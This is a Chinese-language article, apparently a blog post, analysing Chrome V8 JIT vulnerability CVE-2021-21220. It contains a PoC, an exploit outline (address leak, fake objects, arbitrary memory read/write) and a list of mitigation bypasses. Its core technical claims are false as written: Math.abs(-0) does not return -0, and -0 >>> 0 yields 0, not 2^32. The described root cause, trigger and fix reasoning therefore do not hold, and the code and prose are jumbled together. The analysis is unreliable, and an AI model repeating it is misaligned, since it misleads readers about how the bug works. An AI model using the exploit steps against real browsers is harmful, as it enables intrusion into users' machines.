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# 如何分析Chrome V8 JIT漏洞CVE-2021-21220
## 引言
2021年4月，Google Chrome团队修复了V8 JavaScript引擎中的一个严重JIT编译漏洞（CVE-2021-21220）。该漏洞影响广泛，允许攻击者通过精心构造的JavaScript代码实现远程代码执行。本文将深入分析该漏洞的技术原理、利用方式以及修复方案。
## 1. 漏洞背景
### 1.1 V8引擎与TurboFan简介
V8是Google开发的高性能JavaScript引擎，采用多层执行架构：
- 解释器（Ignition）
- 基线编译器（SparkPlug）
- 优化编译器（TurboFan）
TurboFan作为优化编译器，会通过JIT（即时编译）技术将热点代码编译为高度优化的机器码。这种优化过程中产生的逻辑漏洞是CVE-2021-21220的根本原因。
### 1.2 漏洞基本信息
- CVE编号：CVE-2021-21220
- 漏洞类型：JIT优化逻辑缺陷
- 危险等级：高危（CVSS 8.8）
- 影响版本：Chrome 89及之前版本
## 2. 漏洞技术分析
### 2.1 漏洞原理
该漏洞存在于TurboFan的`SimplifiedLowering`阶段，具体涉及`NumberAbs`和`NumberToUint32`操作的类型推断错误。
关键问题在于：
1. TurboFan对`Math.abs()`的优化（转换为`NumberAbs`节点）
2. 后续`NumberToUint32`转换时的类型推断错误
3. 导致边界检查消除（BoundsCheck Elimination）不安全
### 2.2 漏洞触发流程
```javascript
// 触发漏洞的PoC代码
function trigger(arr, x) {
let index = Math.abs(x); // [1] 被优化为NumberAbs
index = index >>> 0; // [2] 转换为NumberToUint32
if (index < arr.length) { // [3] 边界检查
return arr[index]; // [4] 越界访问
}
}
优化过程中的错误：
1. TurboFan认为NumberAbs结果总是非负数
2. 但实际上Math.abs(-0)会返回-0
3. -0 >>> 0会转换为巨大的无符号整数（2^32）
4. 边界检查被错误消除，导致越界访问
TurboFan的类型推断过程：
初始输入x: Range(-Inf, Inf)
经过NumberAbs: Range(0, Inf) // 错误！忽略了-0的情况
经过NumberToUint32: Range(0, 2^32-1) // 实际应为[0,0] U [2^32-1,2^32-1]
let arr = new Array(10).fill(1.1);
let index = -0;
trigger(arr, index); // 返回arr[2^32]附近的值
// 泄露对象地址
let obj = {};
let addr = trigger(obj_array, -0);
// 伪造对象
let fake = createFakeObject(addr);
let victim = trigger(fake_array, -0);
// 通过伪造ArrayBuffer实现任意内存读写
let rw = new ArrayBuffer(8);
let rw_addr = addrOf(rw);
let backing_store_offset = 0x20;
write(rw_addr + backing_store_offset, target_addr);
let dv = new DataView(rw);
dv.getFloat64(0, true); // 读取target_addr处内存
现代Chrome包含多项防护： - 指针压缩（Pointer Compression） - 堆沙箱（Heap Sandbox） - 写保护（W^X）
绕过方法： 1. 利用JIT区域本身的RWX特性 2. 通过WebAssembly绕过W^X 3. 构造ROP链绕过控制流保护
提交记录[1]显示主要修改在：
src/compiler/simplified-lowering.cc
关键修改：
// 修复前
case NumberAbs: {
Type const type = Type::Union(
Type::Intersect(input_type, Type::PlainNumber()),
Type::NaN(), zone());
return UpdateType(node, type);
}
// 修复后
case NumberAbs: {
Type const type = Type::Union(
Type::Intersect(input_type, Type::OrderedNumber()),
Type::NaN(), zone());
return UpdateType(node, type);
}
区别在于使用OrderedNumber代替PlainNumber，前者包含对-0的特殊处理。
通过TurboFan的escape分析可以验证：
$ ./d8 --trace-turbo-reduction poc.js
修复后： - NumberAbs节点会保留-0的可能性 - 边界检查不会被错误消除
学习TurboFan中间表示（IR）
掌握TurboFan优化各阶段
使用V8调试工具：
# 查看优化过程
--trace-turbo
# 查看类型推断
--trace-representation
CVE-2021-21220展示了JIT编译器优化过程中的细微逻辑错误如何导致严重安全后果。通过分析这类漏洞，我们可以：
[1] https://chromium-review.googlesource.com/c/v8/v8/+/2820971 [2] V8源码 https://github.com/v8/v8 [3] TurboFan设计文档 https://docs.google.com/document/d/1sOa6YKZkjZ1daj1QQd7G1jT_9vFQhQzy6m5vP8ZXmNg “`
注：本文为技术分析文章，实际漏洞利用可能涉及法律风险。所有研究应在合法授权环境下进行。
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